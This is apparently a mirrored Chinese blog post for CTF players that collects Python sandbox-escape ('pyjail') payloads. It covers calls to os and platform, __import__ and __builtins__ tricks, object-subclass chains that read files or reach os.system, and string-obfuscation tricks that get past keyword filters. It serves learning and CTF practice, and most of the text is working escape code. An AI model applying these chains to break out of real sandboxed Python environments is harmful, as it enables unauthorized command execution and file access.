zoukankan      html  css  js  c++  java
  • python沙盒逃逸

    前言

    最近遇到了很多python沙盒逃逸的题目(不知道是不是因为现在python搭的站多了……),实际使用时发现只会复制别人的payload是不够用的,于是自己来总结一波(顺带一提python沙盒逃逸的英文似乎是pyjail……)

    姿势

    os

    import os
    os.system('dir')
    os.popen('dir').read()
    

    platform

    import platform
    platform.popen('dir').read()
    platform.os.system('dir')
    

    timeit

    import timeit
    timeit.timeit("__import__('os').system('dir')")
    

    __import__

    __import__的作用就是导入一个包,和import的功能相同

    __import__('os')
    __import__('os').system('dir')
    
    import os
    os.system('dir')
    

    __builtins__

    __builtins__指的是python的内置函数(即预定义函数)
    dir(__builtins__),可以看到支持很多种函数(如open),所以可以使用

    __builtins__.open()
    

    来打开文件,读文件就可以靠file类的read方法了

    __builtins__.open('1.txt').read()
    

    __dict__

    __dict__,以字典形式储存类的方法和属性

    __builtins__.__dict__['__import__']
    

    sys

    有些时候会将重要包的路径从sys.modules中移除,这时就要

    import sys
    sys.modules['os']='/usr/lib/python2.7/os.py'
    

    重新定义一下os的路径

    getattr和__getattribute__和__getitem__

    如果将方法关键字过滤掉,直接用.来使用方法就不能成功,这时需要使用getattr()函数和__getattribute__方法,或者__getitem__取得字典中的某种方法

    getattr(__import__('os'),'system')('dir')
    __import__('os').__getattribute__('system')('dir')
    __import__('os').__dict__.__getitem__('system')('dir')
    

    reload

    有时候会将__builtins__中的一些方法移出这时只要reload一下即可

    但Python 3.0把reload内置函数移到了imp标准库模块中

    reload(__builtins__)
    

    object类

    因为object类存在__subclass__方法,可以获得所有的子类(其中包括file类,所以可以读取文件),获得object类的方式

    ().__class__.__bases__[0] #__bases__显示上一个继承的类
    ''.__class__.__mro__[2] #__mro__显示类的继承关系
    ''.__class__.__bases__[0].__bases__
    
    读文件:
    ().__class__.__bases__[0].__subclasses__()[40]("1.txt").read()
    

    globals(),local(),vars()

    当前的符号表(其中存在__builtins__)

    奇妙的warnings.WarningMessage类

    warnings.WarningMessage类在object类的第60个子类,直接放payload吧(自己也没怎么懂……)

    ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls'))
    
    ().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__
    

    绕过过滤

    有时候会对关键字进行过滤可以使用不同编码来过滤,但只能在以字典形式调用方法时才能使用

    'X19pbXBvcnRfXw=='.decode('base64')  => '__import__'
    ''.join(['__imp','ort__']) => '__import__'
    '__tropmi__'[::-1] => '__import__'
    '__imp'+'ort__' => '__import__'
    '__buihf9ns__'.replace('hf9','ldi')
    dir()[0] => '_'
    

    结语

    方法:

    1. 找到文件类
    2. 找到读取文件的方法
    3. 找到os

    其他的都是绕过过滤吧……

  • 相关阅读:
    单词翻转
    潜伏者
    8.8-8.9总结
    园艺工人的求助
    灰zhu姑xiao娘mei
    [bzoj] 2724 蒲公英 || 分块
    [poj] 2079 Triangle || 旋转卡壳
    [poj] 3384 Feng Shui || 半平面交
    [poj] 1228 Grandpa's Estate || 稳定凸包
    [poj] 2187 Beauty Contest || 旋转卡壳
  • 原文地址:https://www.cnblogs.com/hf99/p/9753376.html
Copyright © 2011-2022 走看看